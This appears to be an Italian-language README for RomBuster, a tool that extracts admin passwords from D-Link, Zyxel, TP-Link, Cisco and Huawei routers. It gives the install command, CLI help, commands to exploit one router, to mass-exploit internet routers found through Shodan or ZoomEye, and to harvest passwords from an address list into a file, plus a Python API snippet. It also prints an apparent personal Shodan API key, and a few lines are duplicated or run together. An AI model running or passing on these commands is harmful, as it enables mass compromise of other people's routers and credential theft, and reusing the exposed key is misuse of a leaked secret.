
RomBuster è uno strumento di sfruttamento dei router che consente di divulgare la password di amministrazione del router di rete.
RomBuster è uno strumento di sfruttamento dei router che permette di divulgare la password di amministrazione del router di rete.
D-Link, Zyxel, TP-Link, Cisco e Huawei.pip3 install git+https://github.com/EntySec/RomBuster
Per usare RomBuster basta digitare rombuster nel terminale.
usage: rombuster [-h] [-o OUTPUT] [-i INPUT] [-a ADDRESS] [--shodan SHODAN]
[--zoomeye ZOOMEYE] [-p PAGES]
RomBuster is a router exploitation tool that allows to disclosure network
router admin password.
optional arguments:
-h, --help show this help message and exit
-o OUTPUT, --output OUTPUT
Output result to file.
-i INPUT, --input INPUT
Input file of addresses.
-a ADDRESS, --address ADDRESS
Single address.
--shodan SHODAN Shodan API key for exploiting devices over Internet.
--zoomeye ZOOMEYE ZoomEye API key for exploiting devices over Internet.
-p PAGES, --pages PAGES
Number of pages you want to get from ZoomEye.
Sfruttare un singolo router
Hackiamo il mio router solo per divertimento.
rombuster -a 192.168.99.1
Sfruttare i router da Internet
Proviamo a usare il motore di ricerca Shodan per sfruttare i router su Internet.
rombuster --shodan PSKINdQe1GyxGgecYz2191H2JoS9qvgD
NOTA: La chiave API Shodan fornita (PSKINdQe1GyxGgecYz2191H2JoS9qvgD) è la mia chiave PRO, puoi usare questa chiave o la tua, sentiti libero di usare tutte le nostre risorse gratuitamente :)
Sfruttare i router da un file di input
Proviamo a usare un database aperto di router.
rombuster -i routers.txt -o passwords.txt
NOTA: Verranno sfruttati tutti i router nell'elenco routers.txt tramite i loro indirizzi e tutte le password ottenute verranno salvate in passwords.txt.
RomBuster ha anche la propria API Python che può essere invocata importando RomBuster nel tuo codice.
from rombuster import RomBuster
Qui ci sono tutte le funzioni di base di RomBuster che possono essere usate per sfruttare un router specificato.
exploit(address) - Sfrutta un singolo router tramite l'indirizzo fornito.Sfruttare un singolo router
from rombuster import RomBuster
rombuster = RomBuster()
creds = rombuster.exploit('192.168.99.1')
print(creds)